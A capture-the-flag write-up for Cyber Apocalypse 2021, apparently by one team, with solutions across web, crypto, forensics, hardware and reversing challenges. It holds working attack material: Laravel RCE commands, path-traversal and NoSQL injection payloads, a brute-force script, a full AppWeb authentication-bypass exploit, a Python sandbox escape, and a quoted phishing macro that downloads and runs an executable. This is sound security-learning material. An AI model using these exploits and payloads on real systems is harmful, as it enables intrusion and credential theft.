> Original: > 1. https://github.com/thewhitecircle/ctf_writeups/tree/main/cyber_apocalypse_2021 > 2. https://gist.github.com/telecastr/ddb80ad436fe3f2457677dfb1f973820 # Web ## Inspector gadget > Solved by: Bobby sox and ava * Visiting the webpage we see a part of a flag: CHTB{ * If we keep looking around the pages, we find in /static/js/main another part of the flag: ``` us3full_1nf0rm4tion} ``` * This in combination with the flag on the website is not the correct flag so far. * static/css/main.css has another potential hint at the top with: c4n_r3ve4l_ * so, so far we have collected 3 pieces of a flag: ``` 1. CHTB{ 2. us3full_1nf0rm4tion} 3. c4n_r3ve4l_ ``` * in js.main we will also find the last piece of our flag:1nsp3ction_ * the full flag ended up being :`CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}` ## Cass > Solved by : thewhiteh4t * Input sanitization is only in front end via javascript * we can use burpsuite to bypass that ![](https://i.imgur.com/BSK49kM.png) --- ## DAAS > Solved by: Nigamelastic * The hint for this challenge talks about being stuck in debug. * Some research shows there is a CVE for this, and the Laravel version were working with is vulnerable. * https://www.exploit-db.com/exploits/49424 * https://www.youtube.com/watch?v=gr8ZKQpYiug& **CVE-2021-3129** : https://nvd.nist.gov/vuln/detail/CVE-2021-3129 * Find ``` ip/_ignition/execute-solution ``` * For a laravel panel with error messages and stack trace. ![](https://i.imgur.com/bwswVCZ.jpg) * https://www.ambionics.io/blog/laravel-debug-rce * As mentioned in the blog above i tried performing a post request but it gave me a 302 response * but the above link mentions their github page and exploit which is `https://github.com/ambionics/phpggc` and `https://github.com/ambionics/laravel-exploits` the idea is to get the phar file with ur custom command from 1st repo and then put the phar file into the exploit with specified url to run the exploit **PS: for a linux command with spaces simply use** `"` * so for our case since we know the flag was found on the root directory and its name as ``` flagM1AhS ``` * our phpggc command should be ```bash php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "cat /flagM1AhS" ``` * run that in the exploit as: ```bash ./laravel-ignition-rce.py http://165.227.234.7:31636/ /tmp/exploit.phar ``` * and we have the flag: ``` CHTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633} ``` --- ## MiniSTRyplace > Solved by: Bobbysox and thewhiteh4t * hint1: “Let's read this website in the language of Alines. Or maybe not? This challenge will raise 33 euros for a good cause.” * hint2: The challenges name is “miniSTRyplace”. This is a play on words for str_replace. * We see right away that we can change language and it is represented: `ip.address/?lang=es.php` a perfect place to try LFI * In order to prevent path traversal, developers can implement blacklisting. It will usually look something like this: ``` $language = str_replace('../', '', $_GET['language']); ``` * This is where you can see the name of the challenge was a hint to the sec measures used. *now we can modify our final payload to bypass blacklisting: ``` http://46.101.77.180:32490/?lang=....//....//....//....//....//....//....//....//etc/passwd ``` * Our exploit is successful, to get the flag we just used the following : ``` http://165.227.234.7:30779/?lang=....//....//flag ``` --- ## Wild Goose Hunt > Solved by : thewhiteh4t * We have a cool login page and source of the web app for this one * entrypoint.sh contains the following : ```bash #!/bin/ash # Secure entrypoint chmod 600 /entrypoint.sh mkdir /tmp/mongodb mongod --noauth --dbpath /tmp/mongodb/ & sleep 2 mongo heros --eval "db.createCollection('users')" mongo heros --eval 'db.users.insert( { username: "admin", password: "CHTB{f4k3_fl4g_f0r_t3st1ng}"} )' /usr/bin/supervisord -c /etc/supervisord.conf ``` * we can see that the flag is being stored as the password of admin * we need to somehow extract the password * since its mongoDB first assumption was to check for NoSQL injection * Here is the error message we get in burp for a normal attempt ![](https://i.imgur.com/P2my3g3.png) * Lets switch to repeater here ![](https://i.imgur.com/miWWAps.png) * so we are getting a json response and the message is being displayed in the frontend * next i tried some basic payloads for NoSQL injection ``` username[$ne]=lol&password[$ne]=lol ``` ![](https://i.imgur.com/H6Da6q7.png) * Authentication bypassed! but we dont get any functionality in the frontend so i proceeded with more payloads ``` username=admin&password[$regex]=A* ``` ![](https://i.imgur.com/NCoQigL.png) * This is an interesting payload because we can use a wildcard to check if a particular character is present in the password or not! * we know that the flag is the password and flag begins with `CHTB{` so I tried that next ``` username=admin&password[$regex]=CHTB{.* ``` ![](https://i.imgur.com/6ya2cBg.png) * And it works again! * Now we can bruteforce characters and check for success message to get correct characters * I created a small python script for it ```python #!/usr/bin/env python3 ################################# ## Author : thewhiteh4t ###### ## Challenge : Wild Goose Hunt ## ################################# import json import requests ip = '138.68.187.25' port = 31370 url = f'http://{ip}:{port}/api/login' flag = 'CHTB{' charset = '_01234abcdefghijklmnopqrstuvwxyz' loop_iter = 1 while flag.endswith('}') == False: for char in charset: if loop_iter == 1: payload = flag + char + '.*' else: payload = flag + '}' data = { 'username': 'admin', 'password[$regex]': payload } try: rqst = requests.post(url, data=data) except Exception as e: print(f'[-] Exception : {e}') exit() if rqst.status_code == 200: resp = rqst.text json_resp = json.loads(resp) status = json_resp['logged'] if status == 1: if payload.endswith('}') == False: flag = payload.replace('.*', '') else: flag = payload print(f'FLAG : {flag}') exit() print(f'FLAG : {flag}') loop_iter = 0 break else: print(f'[-] Error : {rqst.status_code}') loop_iter += 1 ``` ![](https://i.imgur.com/6L20wKy.png) # Crypto ## Nintendo Base64 > Solved by : thewhiteh4t Cyberchef recipe : ```json [ { "op": "Find / Replace", "args": [{ "option": "Regex", "string": " " }, "", true, false, true, false] }, { "op": "Find / Replace", "args": [{ "option": "Regex", "string": "\\n" }, "", true, false, true, false] }, { "op": "From Base64", "args": ["A-Za-z0-9+/=", true] }, { "op": "From Base64", "args": ["A-Za-z0-9+/=", true] }, { "op": "From Base64", "args": ["A-Za-z0-9+/=", true] }, { "op": "From Base64", "args": ["A-Za-z0-9+/=", true] }, { "op": "From Base64", "args": ["A-Za-z0-9+/=", true] }, { "op": "From Base64", "args": ["A-Za-z0-9+/=", true] }, { "op": "From Base64", "args": ["A-Za-z0-9+/=", true] }, { "op": "From Base64", "args": ["A-Za-z0-9+/=", true] } ] ``` --- ## PhaseStream 1 > Solved by: Legend * Each character will be XOR with each character of the key and the length of the key is 5 characters. ```python start = bytearray.fromhex('2e313f2702') #Randomly tried from starting of given cipher text = 'CHTB{'.encode() key = b'' output = b'' for i in range(len(start)): key += bytes([text[i] ^ start[i]]) print('Key: ' + str(key)) print('Key len: '+ str(len(key))) print('Key type: ' + str(type(key))) print('Key hex: ' + key.hex()) for i in range(int(len(start))): output += bytes([start[i] ^ key[i % len(key)]]) print('2e313f2702 --> '+ '(' + output.hex() + ')' + ' == ' + str(output) + '(text)') shifr = bytearray.fromhex('2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904') output2 = b'' for i in range(len(shifr)): output2 += bytes([shifr[i] ^ key[i % len(key)]]) output_dec = output2.decode(errors='ignore') print('Flag: '+ output_dec) print('Flag hex: '+ output.hex()) Flag: CHTB{u51ng_kn0wn_pl41nt3xt} ``` --- ## PHASESTREAM 2 **AUTHOR: HYPERREALITY** > The aliens have learned of a new concept called “security by obscurity”. Fortunately for us they think it is a great idea and not a description of a common mistake. We’ve intercepted some alien comms and think they are XORing flags with a single-byte key and hiding the result inside 9999 lines of random data, Can you find the flag? There are 10000 lines, only one of which contains the flag. We can quickly script the loop through the lines, and test each line if it starts with CHTB{ after xor with every single-byte key. Note that we can apply the same technique as in PhaseStream1 to identify the correct key byte by xoring the first ciphertext byte with C, and that we thus don’t need to try all possible keys. ### IMPLEMENTATION ``` python def xor(a, b): res = [] i = 0 while i < len(a) or i < len(b): res.append(a[i % len(a)] ^ b[i % len(b)]) i += 1 return bytes(res) for l in open("output.txt").read().strip().splitlines(): t = bytes.fromhex(l) s = xor(t, xor(t[:1], b'C')) if s.startswith(b"CHTB"): print(s.decode()) ``` ### FLAG `CHTB{n33dl3_1n_4_h4yst4ck}` ## PHASESTREAM 3 **AUTHOR: HYPERREALITY** > The aliens have learned the stupidity of their misunderstanding of Kerckhoffs’s principle. Now they’re going to use a well-known stream cipher (AES in CTR mode) with a strong key. And they’ll happily give us poor humans the source because they’re so confident it’s secure! ### CHALLENGE ``` python from Crypto.Cipher import AES from Crypto.Util import Counter import os KEY = os.urandom(16) def encrypt(plaintext): cipher = AES.new(KEY, AES.MODE_CTR, counter=Counter.new(128)) ciphertext = cipher.encrypt(plaintext) return ciphertext.hex() test = b"No right of private conversation was enumerated in the Constitution. I don't suppose it occurred to anyone at the time that it could be prevented." print(encrypt(test)) with open('flag.txt', 'rb') as f: flag = f.read().strip() print(encrypt(flag)) SOLUTION AES-CTR is a mode of operation for AES that turns it into a stream cipher. That is, it generates a keystream that will then be xored against the plaintext to encrypt it. The problem in this challenge is that the counter is improperly initialized, and because of that, the keystream will be identical across encryptions. That means we can recover the keystream from known plaintext, just like we did for PhaseStream 1 - but with a longer known plaintext and a longer keystream. IMPLEMENTATION from pwn import xor a = bytes.fromhex("08501b3dbd0fb2f7c87aeb3a224a9d568fa8ad83ff442548b5f4334f0fe1dd6b8f5d5e410be5af2d7ea642b12d8f459f2ab666d4f79a9115dc9cf22ed60e899769fd206c40819bbefe2b5a2ec592a387c6927d866b6343466d5effde0666dd3bb7f657ed651bfcf45fd5b264a36406c6b6dbb1a81272029c5e06da438a0281c19c1e10a0dc47d6ae994557e82663e9f59578") b = bytes.fromhex("05776f0daf1ae9f6dd26e945390bad7fda889c97ff6036") test = b"No right of private conversation was enumerated in the Constitution. I don't suppose it occurred to anyone at the time that it could be prevented." key = xor(a, test) print(xor(key, b)) ``` ### FLAG `CHTB{r3u53d_k3Y_4TT4cK}` ## PHASESTREAM 4 **AUTHOR: HYPERREALITY** > The aliens saw us break PhaseStream 3 and have proposed a quick fix to protect their new cipher. ### CHALLENGE ``` python from Crypto.Cipher import AES from Crypto.Util import Counter import os KEY = os.urandom(16) def encrypt(plaintext): cipher = AES.new(KEY, AES.MODE_CTR, counter=Counter.new(128)) ciphertext = cipher.encrypt(plaintext) return ciphertext.hex() with open('test_quote.txt', 'rb') as f: test_quote = f.read().strip() print(encrypt(test_quote)) with open('flag.txt', 'rb') as f: flag = f.read().strip() print(encrypt(flag)) ``` ### SOLUTION The key to solving this challenge is the following observation: if Ca=a⊕k and Cb=b⊕k, then C=Ca⊕Cb=a⊕b and the key has entirely disappeared. This means that we can try to find a piece of known (or guessed) plaintext in either a or b, and test if we get reasonable plaintext in when we xor it against C. If we do, we might be able to extend the known/guessed plaintext for the other plaintext and repeat this process. This is known as crib dragging and there even exist some useful tools online that might be able to help us solve this, such as this one. After some trial and error, we can get a partial quote, google it and find the complete quote, which we then use to find the flag. We just need to be careful as the punctuation of the quote might not be the same everywhere, and might not exactly match the one used in the challenge. To fix problems like that, simply find the first place where the flag starts going wrong and experiment from there. ### FLAG `CHTB{stream_ciphers_with_reused_keystreams_are_vulnerable_to_known_plaintext_attacks}` ## SoulCrabber 1 > Solved by : ava and thewhiteh4t Solution : * since the seed remains fixed and we know the seed the randomized values in each run will be same so we just have to inverse XOR the cipher text to get the flag * hex decode cipher text * convert each char to 8 bit int * xor against random 8 bit integers * convert integer to char XOR Function : ```rust fn rand_xor(input : String) -> String { // get_rng function is called let mut rng = get_rng(); return input .chars() // converts string into array of chars .into_iter() // converts vector into iterable // map applies a function to each element // {:02x} converts integers to 2 char hex format // u8 is 8 bit unsigned integer // ^ is bitwise XOR // XOR against random 8 bit integer .map(|c| format!("{:02x}", (c as u8 ^ rng.gen::<u8>()))) .collect::<Vec<String>>() .join(""); } ``` Get Numbers from hex string : ```rust fn rev_xor(input : String) { let mut rng = get_rng(); let inp_arr = hex::decode(input); println!("{:?}", inp_arr); ... [27, 89, 20, 132, 219, 150, 47, 119, 130, 209, 65, 10, 250, 74, 56, 143, 121, 48, 6, 123, 206, 246, 223, 84, 106, 87, 217, 248, 115] ``` use those numbers into array and iterate it over : ```rust use rand::{Rng,SeedableRng}; use rand::rngs::StdRng; use std::fs; use std::io::Write; fn get_rng() -> StdRng { let seed = 13371337; return StdRng::seed_from_u64(seed); } fn rand_xor(input : String) -> String { let mut rng = get_rng(); //print!("{:?}",rng.gen::<u8>()); let arr = [27, 89, 20, 132, 219, 150, 47, 119, 130, 209, 65, 10, 250, 74, 56, 143, 121, 48, 6, 123, 206, 246, 223, 84, 106, 87, 217, 248, 115]; let space = "\t"; for i in &arr { print!("{}", (i ^ rng.gen::<u8>())); print!("{}", space); } return input } fn main() -> std::io::Result<()> { let flag = fs::read_to_string("flag.txt")?; let xored = rand_xor(flag); //println!("{}", xored); let mut file = fs::File::create("out.txt")?; file.write(xored.as_bytes())?; Ok(()) } ``` # Forensics ## AlienPhish > Solved by : Starry-Lord * Unzip and find 'Alien Weaknesses.pptx' * Unzip again and go to ppt/slides/_rels/ * Read slide1.xml.rels to find a suspicious relation tag ``` cmd.exe%20/V:ON/C%22set%20yM=%22o$%20eliftuo-%20exe.x/neila.htraeyortsed/:ptth%20rwi%20;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q'%20+%20pmet:vne$%20=%20o$%22%20c-%20llehsrewop&amp;&amp;for%20/L%20%25X%20in%20(122;-1;0)do%20set%20kCX=!kCX!!yM:~%25X,1!&amp;&amp;if%20%25X%20leq%200%20call%20%25kCX:*kCX!=%25%22 ``` * Go to cyberchef * From url decode * Reverse ``` "%=!XCk*:XCk% llac 0 qel X% fi;pma&;pma&!1,X%~:My!!XCk!=XCk tes od)0;1-;221( ni X% L/ rof;pma&;pma&powershell -c "$o = $env:temp 'Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99.exe'; iwr http:/destroyearth.alien/x.exe -outfile $o"=My tes"C/NO:V/ exe.dmc ``` ``` Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99 ``` * From base64 and select the urlSafe alphabet ``` CHTB{pH1sHiNg_w0_m4cr0s???} ``` ## Invitation > Solved By : Starry-Lord * So we get a docm file. * I start by unzippping the word document * We get a docm * Unzip it again and see folders ![](https://i.imgur.com/Q7ZRb7J.jpg) **PART 1** * First thing I tried to do after looking around was ```bash strings vbaProject.bin ``` * Which gives back interesting hex lines. ![](https://i.imgur.com/knF1In2.jpg) * Then decrypt from hex ![](https://i.imgur.com/RNhR8uO.jpg) * From base64 urlsafe alphabet will show the following ![](https://i.imgur.com/clunBcD.jpg) ``` CHTB{maldocs_are ``` **PART 2** * Upload full vbaProject file this time and do the same as before. ![](https://i.imgur.com/wgeYgSG.jpg) * Use base64 urlsafe alphabet * We get second part of the flag by reversing ``` _the_new_meta} ``` ``` CHTB{maldocs_are_the_new_meta} ``` --- ## Oldest trick in the book > Solved by : thewhiteh4t * We are given a pcap which consists of mostly TLS and ICMP traffic * ICMP looks promising as we can see the header of ZIP file `PK` ![](https://i.imgur.com/bcZ05AG.png) * Another thing was that the the traffic from both IP address was similar I focused on only one of them ![](https://i.imgur.com/Iq12mh1.png) * To extract data of all these packets I used tshark ```bash $ tshark -r older_trick.pcap -T fields -e data.data -Y "ip.src == 192.168.1.7" > 192.168.1.7.txt ``` * After this I looked for duplicate packets in the text file ![](https://i.imgur.com/NoiYgXk.png) * So we have 10127 unique icmp data packets * To decode hex and compile all the data I created a small python script * But I was not getting proper file format of resultant file so I inspected the data * There were duplicates in the data as well! ``` b7ae04 0000000000 504b0304140000000000729e8d52659b 504b0304140000000000729e8d52659b 504b030414000000 ead104 0000000000 4c6b1800000018000000100000006669 4c6b1800000018000000100000006669 4c6b180000001800 99e804 0000000000 6e692f6164646f6e732e6a736f6e7b22 6e692f6164646f6e732e6a736f6e7b22 6e692f6164646f6e cafb04 0000000000 736368656d61223a362c226164646f6e 736368656d61223a362c226164646f6e 736368656d61223a ``` * This is the data from first 4 packets for an example * After first 6 characters we have 10 zeroes * After that a unique string * The string is repeated after that * Then a partial repetition can be seen at the end * I tried various combinations and in the end only the unique string was needed from each packet i.e `504b0304140000000000729e8d52659b` for first line as an example ```python #!/usr/bin/env python3 import binascii msg = [] with open('unique.txt', 'r') as raw: raw_arr = raw.readlines() for line in raw_arr: if len(line) == 97: line = line.strip() line = line[16:48] plain = binascii.unhexlify(line) msg.append(plain) with open('result.zip', 'wb') as res: for line in msg: res.write(line) ``` * The script iterates over each line in the file and skips empty lines if it finds any * Then it slices of extra characters as stated above * Then it decodes the hex into binary data and appends it in a file ![](https://i.imgur.com/H2fC7L3.png) * And we get a proper zip file! * Here are the extracted contents of the zip ![](https://i.imgur.com/8a1GAJB.png) * After some enumeration of all files they point towards Mozilla Firefox * After some googling I found that this is a firefox profile dump * In linux the default path for profiles is `/home/user/.mozilla/firefox` * I copied the folder into profiles folder and then edited the `profiles.ini` file present inside it to add the following entry ``` [Profile2] Name=fini Path=fini IsRelative=1 ``` * After this I launched firefox from CLI using ```bash $ firefox -P ``` * It provides an option to choose a specific profile and launch the browser with it ![](https://i.imgur.com/KZzqT9x.png) * After the browser launched with the new profile and checked the saved logins and here we have the flag! ![](https://i.imgur.com/dHKQmSM.png) # Hardware > Solved by : Nigamelastic * `.sal` files are saleae logic analyzer files. * I got this as reference https://dystopia.sg/allesctf20-PWNkemon/ so i downloaded the sla logic analyzer https://www.saleae.com/downloads/ * from here after installing, i opened the sal files which i could and then the following: ## Serial Logs: * I imported the value i am pretty sure if i find the right analyzer it should work ![](https://i.imgur.com/mO5s5Lx.png) * by far for this challenge async serial works the best * challenge states raspberry pi which has a baud rate of 115200 * after some pondering i realized that there are some errors in parity on fixing them and using the `115200` in async serial we get the hex converting which gives us this: https://www.dropbox.com/s/ztqoa16wvp6rvf6/message.txt?dl=0 ![](https://i.imgur.com/1wJv0Ws.png) * found this : https://6e726d.github.io/Challenge/Ekoparty15/ * this writeup explains how to get the baud rate * open the SAL file and zoom ![](https://i.imgur.com/hgD3Jz4.png) * zoom ![](https://i.imgur.com/fzE0pOJ.png) * zoom ![](https://i.imgur.com/qwj6blJ.png) * zoom ![](https://i.imgur.com/1Gl1HTX.png) * until you see the smallest unit of the digital wave then measure it: as its 13.498 ![](https://i.imgur.com/j0S5hvd.png) * since it is in **μ** we will divide it by 1000000 * so 1000000/13.498 = 74085.049637 * I obviously used 74000 as bit rate, converted the hex to ascii with the tool itself and it gave me the flag: ``` CHTB{wh47?!_f23qu3ncy_h0pp1n9_1n_4_532141_p2070c01?!!!52} ``` --- ## Compromised * import the file in salea logic analyzer, and use i2c analyzer * export the data and you will see two columns if we take everything written and try the hex dump we get ``` set_maCxH_lTimB{itn_tuo1:110_se73t_2mimn1_nli4mi70t_2to5:_1c0+.]<+/4~nr^_yz82Gb3b"4#kU_..4+J_5. ``` ``` 3M.2B1.4B.1dV_5. yS.5B7k3..1V.Qxm.!j.@Q52yq)t%# @5%md}S. ``` * and we can see its slightly off i noticed the following : ![](https://i.imgur.com/y8YiO2F.png) * so i used only `0x2C` used the corresponding hex which is ``` 0x43 0x48 0x54 0x42 0x7B 0x6E 0x75 0x31 0x31 0x5F 0x37 0x33 0x32 0x6D 0x31 0x6E 0x34 0x37 0x30 0x32 0x35 0x5F 0x63 0x34 0x6E 0x5F 0x38 0x32 0x33 0x34 0x6B 0x5F 0x34 0x5F 0x35 0x33 0x32 0x31 0x34 0x31 0x5F 0x35 0x79 0x35 0x37 0x33 0x6D 0x21 0x40 0x35 0x32 0x29 0x23 0x40 0x25 0x7D ``` * and got the flag ``` CHTB{nu11_732m1n47025_c4n_8234k_4_532141_5y573m!@52)#@%} ``` ## Discovery * Port `31227` -> Basic Auth, no luck with `admin/admin, ...` & user `admin`+ rockyou.txt * Port `32544` -> AMQP, requires auth, no luck with `guest/guest` & user `admin`+rockyou.txt * Ports change with restart of Docker-container + Services of other challanges are running on the same IP but different port ... * The authentication form tells us, this is a AppWeb Embedded Server * Found common vuln for app web: [https://lab.wallalarm.com](https://lab.wallarm.com/can-your-printer-hack-your-secrets-appweb-authorization-bypass-c609cf9024a7/) * Found working exploit for user `admin` at [https://vulners.com](https://vulners.com/seebug/SSV:97181): * Rewrite of exploit for python3: ```python import requests import argparse print ("""---------------------------------------------------------------- Embedthis Appweb/Http Zero-Day Form/Digest Authentication Bypass ---------------------------------------------------------------- """) def test_digest(r): auth = ["realm", "domain", "qop", "nonce", "opaque", "algorithm", "stale", "MD5", "FALSE", "Digest"] wwwauthenticate = r.headers.get('WWW-Authenticate') if wwwauthenticate is None: return False for k in auth: if k not in wwwauthenticate: return False return True def test_form(r): """ extremely shoddy recognition, expect false positives """ auth = [("X-XSS-Protection", "1; mode=block"), ("X-Content-Type-Options", "nosniff"), ("ETag", None), ("Date", None)] potential_auth = [("Last Modified", ""), ("X-Frame-Options", "SAMEORIGIN"), ("Accept-Ranges", "bytes"), ("Content-Type", "text/html")] if r.headers.get("WWW-Authenticate") is not None: return False for k, v in auth: rv = r.headers.get(k) if not rv: return False if v is not None and v != rv: return False potential_count = 0 for k, v in potential_auth: rv = r.headers.get(k) if rv and v != "" and v == rv: potential_count += 1 print("[+] Optional matchings: {}/{}".format(potential_count, len(potential_auth))) return True def test(url): """ Newer EmbedThis HTTP Library/Appweb versions do not advertise their presence in headers, sometimes might be proxied by nginx/apache, we can only look for a default headers configuration """ r = requests.get(url) # EmbedThis GoAhead uses a similar headers configuration, let's skip it explicitly serv = r.headers.get("Server") if serv and "GoAhead" in serv: return False if test_digest(r): return "digest" elif test_form(r): return "form" return None def exploit(url, username="joshua", authtype="digest"): payload = { "username": username } headers = { "authorization": "Digest username={}".format(username), "user-agent": "TruelBot", "content-type": "application/x-www-form-urlencoded", } if authtype == "digest": r = requests.get(url, data=payload, headers=headers) else: r = requests.post(url, data=payload, headers=headers) print(r.content) if r.status_code != 200 or len(r.cookies) < 1: print("[!] Exploit failed, HTTP status code {}".format(r.status_code)) return print("[*] Succesfully exploited, here's your c00kie:\n {}".format(dict(r.cookies)) ) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Test&Exploit EmbedThis form/digest authentication bypass (CVE-XXXX-YYYY)") parser.add_argument('-t', '--target', required=True, help="specify the target url (i.e., http(s)://target-url[:port]/)") parser.add_argument('-u', '--user', required=True, help="you need to know a valid user name") parser.add_argument('-c', '--check', action='store_true', default=False, help="test for exploitability without running the actual exploit") parser.add_argument('-f', '--force', action='store_true', default=False, help="skip exploitability test") args = parser.parse_args() url = args.target username = args.user t = "form" # default will try form/post if args.check or not args.force: t = test(url) if t is None: print("[!] Target does not appear to be Appweb/Embedthis HTTP with form/post auth (force with -f)") else: print("[+] Potential appweb/embedthis http, {} method".format(t)) if not args.check: print("[!] Exploiting {}, user {}!".format(url, username)) exploit(url, username, t) ``` * Exploit generates working cookie `-http-session-` * After sending cookie with request, an admin panel is revealed: [![Admin panel](https://i.imgur.com/wIipol0.png)](https://i.imgur.com/wIipol0.png) * Gobuster result with cookie ```shell $gobuster dir -c "-http-session-=2::http.session::746f086b9785a33d7a1df4ae329fcacb" -u http://46.101.37.171:32387 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 1 ⨯ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://46.101.37.171:32387 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 404 [+] Cookies: -http-session-=2::http.session::746f086b9785a33d7a1df4ae329fcacb [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/04/21 05:55:06 Starting gobuster in directory enumeration mode =============================================================== /images (Status: 301) [Size: 203] [--> http://46.101.37.171:8080/images/] /icons (Status: 301) [Size: 202] [--> http://46.101.37.171:8080/icons/] /test (Status: 301) [Size: 201] [--> http://46.101.37.171:8080/test/] /bench (Status: 301) [Size: 202] [--> http://46.101.37.171:8080/bench/] ``` * Password-Hashes (SHA256, no salt, `hashcat -m 1400`) * *Crackstation* is able to find a valid AMQP passwd `winniethepooh` for user `anthony_davis`, hash `89D9743B793B22AEB9A8142ABD59FDF4CDABFDD01796C31BE7587C114E0D37C1` * user `leo` hash `27BE4E31517E61D2BEF777B7293B7D8C73C14BD1B8F2839A7B8226CBEFF30E99` * AMQP login success with user `anthony_davis` * Subscribing to all Channels on exchange `Base` of user `leo` reveals the flag * Exploit: ```python import pika parameters = pika.URLParameters('amqp://anthony_davis:winniethepooh@138.68.182.20:32442/%2F') def on_message(channel, method_frame, header_frame, body): print(method_frame.delivery_tag) print(body) print() channel.basic_ack(delivery_tag=method_frame.delivery_tag) connection = pika.BlockingConnection(parameters) channel = connection.channel() # Declare exchange type explicitly as 'topic', taken from admin-panel channel.exchange_declare(exchange='Base', exchange_type='topic') result = channel.queue_declare(queue='', exclusive=False) queue_name = result.method.queue # Subscribe to wildcard topic `#` = Print all messages of exchange channel.queue_bind(queue=queue_name, exchange='Base', routing_key='#') def callback(ch, method, properties, body): print(" [x] %r:%r" % (method.routing_key, body)) channel.basic_consume( queue=queue_name, on_message_callback=callback, auto_ack=True) channel.start_consuming() ``` # Misc ## Alien Camp > Solved By : thewhiteh4t * The challenge server sends a randomized set of emoji and value pair * We can get all pairs from option 1 * After getting all pairs we can start calculating values for each question * If you get EOF Error just restart the script * After 500 questions we get the flag ```python #!/usr/bin/env python3 from pwn import * host = '46.101.82.40' port = 32156 conn = remote(host, port) conn.recvuntil('>').decode() print('[+] Getting some help...') conn.send('1\n') out = conn.recvuntil('\n>').decode() help_arr = out.split('\n') help_txt = help_arr[2] store = help_txt.split(' ') emojis = [] vals = [] new_store = {} counter = 0 for item in store[0::3]: if len(item) > 0: emojis.append(item) for item in store [2::3]: vals.append(item) for emo in emojis: new_store[emo] = vals[emojis.index(emo)] if len(new_store) != 0: print('[+] Help recieved!') conn.send('2\n') def solve(conn): global counter if counter != 500: q_txt = conn.recvuntil('?').decode() q_txt = q_txt.split('\n') q_txt = q_txt[-1] print(f'[Q:{counter}] {q_txt}') q_txt = q_txt.split(' =') q_txt = q_txt[0] q_emo = q_txt.split(' ') for elem in q_emo: if elem in new_store: q_txt = q_txt.replace(elem, new_store[elem]) ans = eval(q_txt) print(f'[+] Sending {ans}') conn.send(str(ans) + '\n') else: flag = conn.recvuntil('}').decode() print(flag) conn.close() counter += 1 while counter <= 500: solve(conn) ``` --- ## Input as a service > Solved by : ava * We are given a py-jail * https://programmer.help/blogs/python-sandbox-escape.html * I used this website as reference, `os` and such imports are banned, so we used string manipulation * we just reverse the string `os` to `so` and import it and then do `ls` command to * * see the `flag.txt` and then just `cat` the flag * the code to do is given below ```bash # use this to check the files present __import__('so'[::-1]).system('ls') # this is called reverse print method, "so" actually os flag.txt input_as_a_service.py # read the file __import__('so'[::-1]).system('cat flag.txt') CHTB{4li3n5_us3_pyth0n2.X?!} ``` --- ## Robotic Infiltration > Solved by : thewhiteh4t * We got a `capture.bag` file in this one * The challenge mentions ROS which leads to a utility called `rosbag` * rosbag can be used to play this bag file * Installation and tutorials are given in ros wiki : http://wiki.ros.org/Documentation * The challenge mentions `rebuild plan for facility` * after some poking around we saw rosbag comes with another utility known as `rviz` * rviz can be used for 3d visualization of bag files **Step 1 : Start roscore** ![](https://i.imgur.com/ZsoFhr6.png) **Step 2 : Play bag file** ```bash $ rosbag play capture.bag ``` **Step 3 : Launch rviz** ```bash $ rosrun rviz rviz ``` * Now all we had to do was tweak things in rviz a little to improve visibility and eventually we spotted the flag ![](https://i.imgur.com/CIeNKFz.png) * After some play and pause action we got the full flag ``` CHTB{r0s_1s_r0b0tic_p0w3r} ``` ![](robotic.gif) # RE ## Authenticator > Solved by chronocruz.exe * Disassembling the binary using IDA we get the first code block ![](https://i.imgur.com/ifoeGHl.png) * Here we can clearly see the “Alien ID: “ that is supposed to be the first input ![](https://i.imgur.com/ReAIN8e.png) * To find the pin, we proceed down the code flow ![](https://i.imgur.com/ebv9Vul.png) * We can see there’s a function named “checkpin” being called so we look at what its doing ![](https://i.imgur.com/WWwUY4d.png) * It may get slightly difficult to understand what this code really means.. * We can use decompilers like Ghidra to try to convert this into something we can understand better. ![](https://i.imgur.com/kYm2D9l.png) * Looking at the decompiled “checkpin” function, we can clearly see a XOR operation on a string. * It’s safe to say that our pin must be the XOR of each character in this string with 9. * With the help of this simple Python script we print the flag ![](https://i.imgur.com/m8xdTtn.png) ![](https://i.imgur.com/L1LwiNM.png) ## Passphrase > Solved by chronocruz.exe Disassembling the binary in IDA we reach the first code block where a certain portion of the code caught my eye ![](https://i.imgur.com/rCnB49a.png) * So I wrote down the string given here ``` 3xtr4t3rR3stR14L5_VS_hum4n5 ``` * Tried using this string in the program and voila! ![](https://i.imgur.com/04dcCGF.png)